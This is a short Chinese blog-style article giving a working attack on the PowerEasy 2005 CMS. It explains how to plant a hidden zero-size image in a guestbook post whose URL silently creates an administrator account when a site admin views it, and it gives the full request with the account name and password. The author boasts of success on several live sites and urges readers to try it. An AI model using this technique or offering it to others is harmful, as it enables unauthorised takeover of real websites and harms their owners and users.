通杀动易2005的 XSS 攻击
发布日期：2021-12-29 05:43 | 文章来源：脚本之家
动易2005里面，留言的时候存在一个XSS。
攻击方法如下 ：
首先在网站注册一个普通会员，然后去GUESTBOOK留言，在插入图片的时候地址写上(建议在原代码里面把图片的高度与宽度都设置成0，这样在图片前面加上这个连接，基本上就看不见图片了，图片的连接却被管理员解吸执行了)：
http://localhost/PowerEasy/admin/admin_admin.asp?AdminName=xiaod&username=xiaod&password=123456&pwdconfirm=123456&purview=1&Action=SaveAdd
上面是本地测试地址。
只要你的留言写的足够诱惑，只要管理员一看，就OK了，他回复了你，你就是后台管理员了···
我自己测试了几个站，结果都成功了，呵呵。大家也可以去测试一下，通杀了 SQL 与AC版···
版权声明：本站文章来源标注为YINGSOO的内容版权均为本站所有，欢迎引用、转载，请保持原文完整并注明来源及原文链接。禁止复制或仿造本网站，禁止在非www.yingsoo.com所属的服务器上建立镜像，否则将依法追究法律责任。本站部分内容来源于网友推荐、互联网收集整理而来，仅供学习参考，不代表本站立场，如有内容涉嫌侵权，请联系alex-e#qq.com处理。
相关文章
下一篇：
关注官方微信